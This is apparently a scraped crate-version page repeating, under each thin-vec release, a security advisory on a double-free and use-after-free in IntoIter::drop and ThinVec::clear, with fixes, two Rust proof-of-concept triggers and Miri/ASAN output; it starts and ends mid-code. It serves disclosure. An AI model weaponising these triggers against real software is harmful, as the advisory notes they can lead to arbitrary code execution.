    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 04, 2021

0.2.3 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 05, 2021

0.2.2 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

May 02, 2021

0.1.2 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 01, 2021

0.1.1 unknown yanked

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 26, 2021

0.2.1 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 14, 2020

0.2.0 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

